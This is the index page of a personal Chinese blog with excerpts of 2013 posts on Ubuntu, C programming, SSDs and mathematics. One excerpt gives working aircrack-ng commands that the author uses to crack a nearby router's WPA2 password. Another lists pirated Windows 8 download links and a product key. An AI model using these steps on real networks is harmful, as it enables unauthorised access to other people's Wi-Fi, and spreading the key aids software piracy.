Changkun's Blog欧长坤的博客

Science and art, life in between.科学与艺术,生活在其间。

  • Home首页
  • Ideas想法
  • Posts文章
  • Tags标签
  • Bio关于
Changkun Ou

Changkun Ou

Human-AI interaction researcher, engineer, and writer.人机交互研究者、工程师、写作者。

Bridging HCI, AI, and systems programming. Building intelligent human-in-the-loop optimization systems. Informed by psychology, sociology, cognitive science, and philosophy.连接人机交互、AI 与系统编程。构建智能的人在环优化系统。融合心理学、社会学、认知科学与哲学。

Science and art, life in between.科学与艺术,生活在其间。

282 Blogs博客
171 Tags标签
Changkun's Blog欧长坤的博客

我这是要转 Ubuntu 的节奏吗

Published at发布于:: 2013-05-20   |   Reading阅读:: 1 min
破了电信还是不爽,没事上午体育课的时候鼓捣了下破路由器的密码。大爱ubuntu。 1.下载安装aircrack-ng。 sudo apt-get install aircrack-ng 2.启动无线,垃圾微软禁用开启无线,ubuntu直接调用爽歪歪,开启完成后进入ubuntu ,开一个终端,ifconfig -a看看wlan是否开启,开启正常可进行下一步。 3.准备工作完成,开始破解。开启终端1, sudo airmon-ng start wlan0sudo airodump-ng mon0 这时会看到无线的地址出现在屏幕上,这里有显示它们的mac地址以及所在频道。现在大部分的路由都是wpa2的加密方式,果断选择类型为wpa2的无线为破解对象。我们需要记录它所在的频道以及mac地址。 4.开启终端2 sudo airodump-ng –channel 【频道】 –bssid 【目标主机mac地址】 -w wpa2 mon0 这里的wpa2为默认的存包文件的名字,可以更改。 5.开启终端3 sudo aireplay-ng -1 0 -a 【目标mac】 -h 【本机MAC地址】 mon0 (本机的mac可以开启一个新的终端用ifconfig -a来查询) 这时会有成功字样显示,如果没有显示可能就是目标不支持或者系统部稳定,需要更换目标了。显示成功后进行下步。 6.继续输入 sudo aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b 【目标MAC地址】 -h 【本机MAC地址】 mon0 此时终端2中的数据会增长很快,当数据到达5000的时候就可以破解了。 7.开启终端4 sudo aircrack-ng wpa2*.cap 这时就开始破解了,如果你进行过多组,可能会有多组结果,你可以用数字123进行选择,如果不出意外你已经破解出来这组无线的密码了。 8.最后 结束监控过程 sudo airmon-ng stop mon0 ( sudo airomon-ng check可以查看你开启了多少监控,如果运行多组的时候可以查看后选择关闭)。

结构体排序引发的一连串问题

Published at发布于:: 2013-05-07   |   Reading阅读:: 4 min
1 2 3 4 5 6 7 8 9 10 11 12 题目: 给出n个仅由小写字幕构成的字符串,仅按其首字母排序。(若首字母相同,则直接维持原来的顺序。) 输入格式: 第一行为n。 接下来n行,每行一个串。 输出格式: n行,按排好的顺序,每行一个串。 数据规定: n <= 1000, 串长小于100000。 话说这题前前后后每周大概抽两个小时来搞这题,未怀疑过评测系统出问题,因为我看见老师过了。 前前后后拖了一个月的时间。 放上最终的代码: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 #include <iostream>#include <fstream>#include <cstdio>#include <cstdlib>#include <cstring>#include <cmath>#include <climits>#include <string>#include <algorithm>#include <vector>#include <map>#include <time.
Read More阅读更多 »

Ubuntu 相关

Published at发布于:: 2013-05-06   |   Reading阅读:: 1 min
今天突然想到了在linux下用wireshark对电信账号进行抓包。 于是果断掏出柜子里放了很久的电脑。 以前安装ubuntu挺好的,今天试了好几个小时发现都装不到电脑里面,无奈之下格掉了整个硬盘,从U盘进winPE然后用iso的那个软件 制作u盘启动(直接搞死活不行)。 装好了ubuntu后又遇到了很多问题: 问题: 无法从终端使用命令su切换到root权限 解决办法: 1 2 3 sudo passwd [密码] [密码] 在Ubuntu 里面安装了wireshark 发现直接在普通用户下运行wireshark。不能启用抓包。会提示: 1 ubuntu/wireshark: There are no interfaces on which a capture can be done. 然后郁闷了很久,就想到会不会是权限不够,于是在终端里面: 1 sudo wireshark 果然可以进行抓包了,但是TNND还是有报错: 1 Lua: Error during loading: [string "/usr/share/wireshark/init.lua"]:45: dofile has been disabled 然后非常的不爽。 然后跟踪这个路径找到init.lua这个文件。 1 vim /usr/share/wireshark/init.lua 在倒数第二行把
Read More阅读更多 »

逃生时间初算

Published at发布于:: 2013-04-20   |   Reading阅读:: 1 min
google地图告诉我:双流县距离雅安大约110km。 地震发生时,首先是从震源 P波(纵波)跟S波(横波)2个地震波发生。 P波在地壳的浅层以毎秒約6km的速度, S波以毎秒3.5km的速度传播. P波到达双流的时间大致为:110 / 6 = 18s S波到达双流的时间大致为:110 / 3.5 = 31s 所以当我们感到轻微晃动的时候,最坏的情况下还有31-18 = 13s的时间用于逃生、 我们人的反应时间是1s。 住在四楼以上的同学们洗洗睡吧。。不要想着逃跑了。。 根据专家报道。。震动在地下13公里。。 根据勾股定理,实际传播距离会多出大约一公里。。。好吧忽略了。。

全空间和空空间?

Published at发布于:: 2013-04-11   |   Reading阅读:: 1 min
Rn中的开闭集到真是两个不错的概念, 在R中,闭集上的连续函数有很多优良的性质,例如有界性等。但是开集就不同了,它俩的差距还是蛮大的,仅仅因为两个端点就破坏了原本美好而优良的一种结构。 而在Rn中,有两个特殊的空间:全空间Rn 和 空空间(本人的叫法,实际上就是空集= =),因为只有它们是Rn中即开又闭的。怎么证明呢? 若S是Rn中的集合,且S既开且闭,我们准备证明S为Rn或空集。 利用连通性可以给出一个一句话证明: 因S是闭集,所以那么Rn-S是开的。于是Rn=S并(Rn-S)是两个不相交的开集的并。根据Rn的连通性知S与Rn中至少有一为空集,故S=Rn或空集。 实际上,道路连通>连通>这个命题。。因此真证明起Rn的连通性,这种证法是比较复杂的。。 我给出另外一个证法。 首先我们证明S的边界是空集。因为S开,S内的点都是内点,所以S内无S的边界点。同理Rn-S内也无S的边界点,因此S的边界为空集。 如果S和Rn-S均非空,则存在x属于S,y属于Rn-S。设L是联结x和y的直线段,则L是有界闭集。设z是L的重点,则z属于S或z属于Rn-S。因而L有子直线段L1分别以S与Rn-S中的点为其端点,依次可构造由L的子直线段组成的有界非空闭集套,L L1 … Li … 其集合半径趋于0.且两端点分别为S和Rn-S中的点。根据闭集套定理,存在唯一的点p属于所有直线段。由边界点的定义可见p属于S的边界,与S的边界为空集相矛盾。证完。

从装系统中学到的

Published at发布于:: 2013-04-08   |   Reading阅读:: 1 min
前天在京东上买了三爽的840pro,昨天中午拿到后便开始鼓捣如何安装。 不要问我价格,硬盘这种东西属于日跌品,一天一个价。如果你想买的话,建议还是去京东这种卖正品的地方买大牌子,淘宝什么的,这种东西还是算了吧。 不然的话,其他的虽然也叫SSD,搞不好哪天你自己都不知道自己是怎么挂的。 还有,本文示例机器为DELL 17R 4728,买来就已经装好了正版的windows8操作系统,正是因为如此,才会导致我这个小白在安装系统的过程中,出现了各类奇葩的以前从未遇见过的问题。具体情况,我们下面再说。 安装系统的过程基本上都是类似的,可以说是一通百通。不要因为说只会给某某笔记本装系统这种话,如果是这样就说明你已经沦为工人,不懂得思考。 前置知识: 顺便说一句,我之所以选择840pro其实也是观望了很久的。 本来一开始我是打算买金士顿这种相当廉价的128g的SSD(这时候对SSD完全不具备任何知识,只是道听途说它很快),不过在日后的观察中发现,事实上号称SSD也是有优劣之分的。它并不像传统的机械硬盘一样,5400转 、7200转甚至10000转的硬盘,由于他本身的结构限制,两个成品的5400转硬盘,其读写速度相差不会太大(本身速度就不大= =),可能在寿命上会有一些差距,不过没意外的话用个五六年是没什么问题的吧。 三星在存储技术方面有很雄厚的积累,使得他自己有能力生产自己SSD所有的组件,这样它可以压低成本也能够保证稳定性。三星就稳定性和英特尔比起来,他俩算是做的最好的了(目前)。 同时,三星的SSD要比英特尔的便宜,所以很多厂商也选择三星的SSD来做OEM(什么是OEM我们等会儿再说)。以前三星的SSD速度一直是位于中端位置,自从830发布之后,这个局面已经大大改观了。 之前我在京东上相中了840,而不是840pro 。原因很简单,840比pro版便宜了很多。但是在观望这块SSD的过程中就发现很多买家抨击这块 硬盘的寿命太短。这是什么原因呢?我们先来看看一些小知识: 更为详细的SSD工作原理,有兴趣的可以去参考《深入理解计算机系统》这本书。 SSD的存储架构一般有三种: SLC=Single-LevelCell,即1bit/cell,速度快寿命长,价格超贵(约MLC3倍以上的价格),约10万次擦写寿命 MLC=Multi-LevelCell,即2bit/cell,速度一般寿命一般,价格一般,约3000—10000次擦写寿命 TLC=Trinary-LevelCell,即3bit/cell,也有Flash厂家叫8LC,速度慢寿命短,价格便宜,约500次擦写寿命,目前还没有厂家能做到1000次。 有兴趣可以参看这篇文章稍微的详细介绍:http://tieba.baidu.com/p/2121663575 三星的840就属于TLC的架构,所以很多网友就吐槽他的寿命太低。但是实际上按照120G的容量,如果算一天读写入5G的缓存文件,那么大约需要20天才会完成一次擦写寿命。至少500次的擦写寿命,大家可以想想,TLC的SSD实际上也是可以使用很长时间的。 = =好吧我承认我有强迫症,即便如此,我还是可耻的入了pro版本的,pro版是MLC架构的。所以使用四五年还是没什么问题的,而且这个硬盘的发票上注明了:五年之内保修。这个。。基本上五年之后这笔记本也差不多该换了。 为什么不考虑SLC?回去看它的介绍、、普通大众、、洗洗睡吧、、 顺便说一句,实际上不买SLC也是可以达到这种速度的,那就是组RAID,至于什么是组RAID,有兴趣的同学可以自己研究一下,这个不是本文的主题了。 ============================================================================================================= 晒图 ============================================================================================================= SUMSUNG SSD 840 PRO 真面目(话说这玩意儿真的好轻,比我的手机还轻) ============================================================================================================= 三星赠送的供一般用户转移数据用的,比如说我们可以用它直接把原来系统中的系统盘的所有文件通过他来转移到SSD中,但是我们不建议使用这种方式,因为原来系统盘中有各类垃圾文件,直接转移过去可能导致各类奇葩系统不稳定,不过我没试过,喜欢折腾的同学们可以尝试一下。 ============================================================================================================= ============================================================================================================= 好,下面我们来看到怎么装系统。 ============================================================================================================= 一、准备工作 首先我们要准备好系统安装包。 win8专业版 系统下载: 32位系统: ed2k://|file|cn_windows_8_x86_dvd_915414.iso|2679801856|9AF10141BFD61BC66D9D6459758D7749|/ 64位系统: ed2k://|file|cn_windows_8_x64_dvd_915407.iso|3652950016|5C7F8C212BD3A1827866563773A431C2|/ 安装密钥:NG4HW-VH26C-733KW-K6F98-J8CK4 工具:各种螺丝刀 (用于拆卸后盖,替换原装硬盘) 下载完毕后是iso格式的文件,请用快压之类的软件将其解压到一个空U盘内。准备装系统用。 注意,如果你的笔记本从来没有更换过系统(win8),一直是用的是原厂的系统,就会在主板上记录下你的激活信息。这是因为: 以前新一代Windows操作系统发布之后,一系列OEM激活码就如雨后春笋般出现。同时也产生了大量的盗版副本,微软对此早已深恶痛绝。究其原因,还是“批量CDKey许可”这种不完善的激活流程所造成的。 Windows 8将不再采用传统的激活方式,具体方式是每一台OEM机器都被要求写入唯一对应的Windows 8产品密钥,而无法再通过一个CDKey来批量激活系统。 这样就会导致安装win8其他版本时检测到主板的激活信息冲突,导致无法安装/ 解决办法是: 在解压到U盘的sources文件夹下,新建文本,写入如下信息: [EditionID] [Channel] Retail [VL] 0 然后将文件名更改为: ei.
Read More阅读更多 »

string 标准库实现日志

Published at发布于:: 2013-03-31   |   Reading阅读:: 5 min
1 2 #include <stdio.h>#include <malloc.h> 本文主要讨论:memcpy、memmove、strcpy、strncpy、strcat、strncat memcpy memcpy的函数原型为: 1 void *memcpy( void *s1, const void *s2, size_t n ); 功能:函数 memcpy 从 s2 指向的对象中复制n个字符到s1指定的对象中。 如果发生在两个重叠的对象中,则这种行为未定义。 从上面这段文字来看,有两个概念是暂时不清晰的。 什么是 size_t ? 下面的这段是从crtdefs.h中拉过来的: 1 2 typedef _W64 unsigned int size_t; //所以 size_t 只不过是被 typedef 过的 unsigned int. size_t 类型定义在 cstddef 头文件中,该文件是 C 标准库的头文件 stddef.h 的 C++ 版。 它是一个与机器相关的 unsigned 类型,其大小足以保证存储内存中对象的大小。 size_t 是标准 C 库中定义的,应为 unsigned int,在 64 位系统中为 long unsigned int。 关签大神指出:「理解为当前系统的可寻址内存宽度, 32 位下就是 32 位,64 位下是 64.
Read More阅读更多 »

通过安装 Wordpress 插件所学到的

Published at发布于:: 2013-03-28   |   Reading阅读:: 1 min
因为主要是数学和计算机方面,所以不需要什么过分牛逼的插件吧,所以装了几个相当常用的插件了。下面介绍最为重要的两个插件: LaTeX for WordPress 这个插件可以编写latex的公式,非常给力,效果正如大家所看到的,下面是插入的一组麦克斯韦方程组: $$ \begin{cases} \nabla\cdot\vec{E}=\frac{\rho}{\varepsilon_{0}}\ \nabla\cdot\vec{B}=0\ \nabla\times\vec{E}=-\frac{\partial\vec{B}}{\partial t}\ \nabla\times\vec{B}=\mu_{0}\vec{J}+\mu_{0}\varepsilon_{0}\frac{\partial\vec{E}}{\partial t} \end{cases} $$ 所以呢,这样就非常方便我以后写公式了,以前找过很多写博客的地方,甚至包括QQ空间,都让插入公式变得十分的痛苦。 SyntaxHighlighter Evolved 恩,既然和计算机相关,那么代码这变得不可或缺。这个插件是我从隔壁 lellansin 盗过来的。感觉不错。 比方说下面是一个排序函数: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 void DataSort( int data[], int n, int (* compare) ( int a, int b ) ) { int I, j, k, temp; for( I = 0; I &lt; n-1; i++ ) { k = i; for( j = i+1; j &lt; n; j++ ) { if( (* compare)( data[j], data[k] ) ) k = j; } if( k !
Read More阅读更多 »

C Details 之 基本细节

Published at发布于:: 2013-03-27   |   Reading阅读:: 1 min
1、有效数字 一般而言,double型数据可以接受实型常量的16位有效数字,而float型变量仅能接受实型常量的7位有效数字, 在有效数字后面输出的数字都是不准确的。 例如: 1 2 float a = 123456.7890123456e12; double b = 123456.7890123456e12; 可以尝试: 1 printf("%f\n%f\n",a,b); 2、变量定义的位置 C语言中要求定义变量必须在所有可执行语句之前。 例如: 1 2 3 printf("Input n:"); int n; scanf("%d",&n); 这一规定仅仅只是在C89中规定,从C99开始便取消了这一规定并且,C++也并没有这一规定,例如: 1 2 for( int i = 0; i < Num; i++ ) Do something; 3、关于自增 一个疑问:对于 1 2 3 a = 1; b = a++; c = ++a; 为什么b的值为1,c的值为2?
Read More阅读更多 »

又读流形

Published at发布于:: 2013-03-25   |   Reading阅读:: 1 min
从牛顿说起 说到流形,要从 Newton 说起。 寒假的时候,也不知是在哪儿看的,说是当时Newton对三次曲线分类,实可逆线性变换和平移变换下的标准型有78类。 今天读古今数学思想的时候才知道其实Newton只得到了72个,Stirling后来在1717年的时候又补了4个,一个叫 Jean paul de gua de maives(这货名字好奇特)的人在1740年的时候又补了两个。 又要说到三次曲线上一个非常神秘的结构。比方说给一个集合: $$ {P (x,y) | y^{2}=x^{3}+17,x,y\in C}\bigcup{0} $$ 定义一个运算$\bigoplus$,这个运算满足交换律、结合律、零元律、负元律。 在公元250年左右有个叫Diaphantus的人就求出了这个运算的一个表达式,后来Newton就在对这个非常神秘的运算公式进 行了几何解释(据说是在1670年后)。 后来euler在1756年到1757年间研究过一个类似的积分加法公式(举个例子就是 $ \arcsin{x}+ \arcsin{a} = \arcsin{x\bigoplus a} $,研究这个$\bigoplus$运算),后来Euler得到了 $x\bigoplus a$的一个表达式、并在1756-1757年间尝试用此公式来解一个常微方程(很显然那个的积分并不是初等函数)。 当时是说Fagano在1717,2020年先得到了特殊解,Euler在1756、1757的时候得到了一般解。 据说Gauss也研究过这个积分,他也获得了两个非常神秘的周期,而且这两个周期有非常奇葩的联系。(有空补上) 不过,很遗憾、事实上Lagrange早在1785年就已经发现,并且还发表了(古今数学思想上说的、、), 我估计是当时 Gauss 没看到,当时Gauss是在1799年发现,写在日记本上,当然他没有即使发表。要不然…… 1823年的时候,abel整合了以上这些人的工作,包括一般积分加法公式和双周期。 他发现,一般椭圆积分的关键思想是“反演”。从而椭圆积分概念走向椭圆函数概念。 椭圆函数的另一个发现者是Jacobi,他是在1827年的时候独立得到椭圆积分的“反演”思想。(也就是说Abel研究椭圆函数 的时候,Jacobi开始研究椭圆函数)他送了一篇没有证明的论文给Astronomische nachrichten,差不多是在同一时间, abel独立发表了他的《关于椭圆函数的研究》,两人都达到了从椭圆积分的反函数着手研究这一关键性想法。(但是好像后 来Jacobi承认,他是在看到abel的论文后才意识到反演的关键性所在。) 不过很可惜啊!!!!abel在1829年就去世了、jacobi活到1851年、发表了比abel更多的东西。而且1829年jacobi的 《椭圆函数基本新理论》成了椭圆函数的一本关键性著作。 通过Jacobi的来信,Legendre熟悉了Jacobi和Abel的工作,这么评价“我很满意地看到两个年轻数学家如此成功地开辟 了分析的一个分支,它很久以来是我喜爱的领域,但在我自己的国家中它却没有受到应有的重视”。 主要的问题在于,Abel积分的难点是,$x$是$y$的多值函数,那么积分中的$y$到底应该取什么值。所以Abel就认识到从 1666年Newton-Lebniz的微积分开始,建立的“单值函数论”的思想,经过了150多年的发展,如今遇到了巨大的困难。那么突破口在哪里呢? 这时候大神Riemann登场了、、Riemann大神常常被描述为一个纯粹数学家,不过这远非正确。虽然他对数学本身作了很多 贡献,但他深深地关心于物理及数学与物理世界的关系。(好吧、这个和这次主题无关、我多嘴了、) Riemann发现关键是四维空间中看不到的某(打不出来)“紧化”后,“同样”于三维空间中“看得到”的环面(面包圈= =), 这个环面上有独立的两个“同调圈”。Riemann并且还认识到那个积分的严格写法。后来riemann搞出来一个东西叫做 Riemann面,他把Gauss-Abel他们神秘的发现“所有椭圆函数都有两个周期”,被Riemann用Riemann面,【显然的】, 【直接的】,“看到了”!。那个普遍的拓扑定理,在: 1851年,Riemann知道。 1863年,Mobius独立发现。 1866年,Jordan独立知道。 1907年,Dehn和Heggard严格证明。 洞的个数叫做genus,是最基本的拓扑不变量。 几点感悟 说点感悟吧! Riemann genus是拓扑不变量,这是拓扑学进入数学主流的开始,从此,代数拓扑学和微分拓扑学逐步进入几乎所有 核心数学分支,成为二十世纪的数学Queen。代数拓扑学和微分拓扑学是流形思想的本质力量。 Riemann得到 定理:“2元多项式方程具有有理函数解的充要条件 是它的Riemann 面的genus为零”。这是流形思想 应用于 多项式函数解 一个起点; 也可以看作现代代数几何的一个起点。 Remann 1857年 用 Riemann 面 建立 Abel 积分的清楚理论。这是流形思想应用于分析,可看作大范围分析的一 个起点。 Riemann 1854 年《关于几何基础的假设》建立了明确的内蕴几何学.
Read More阅读更多 »
23 24 25 26 27 28 29 30 31
© 2008 - 2026 Changkun Ou. All rights reserved.保留所有权利。 | PV/UV: /
0%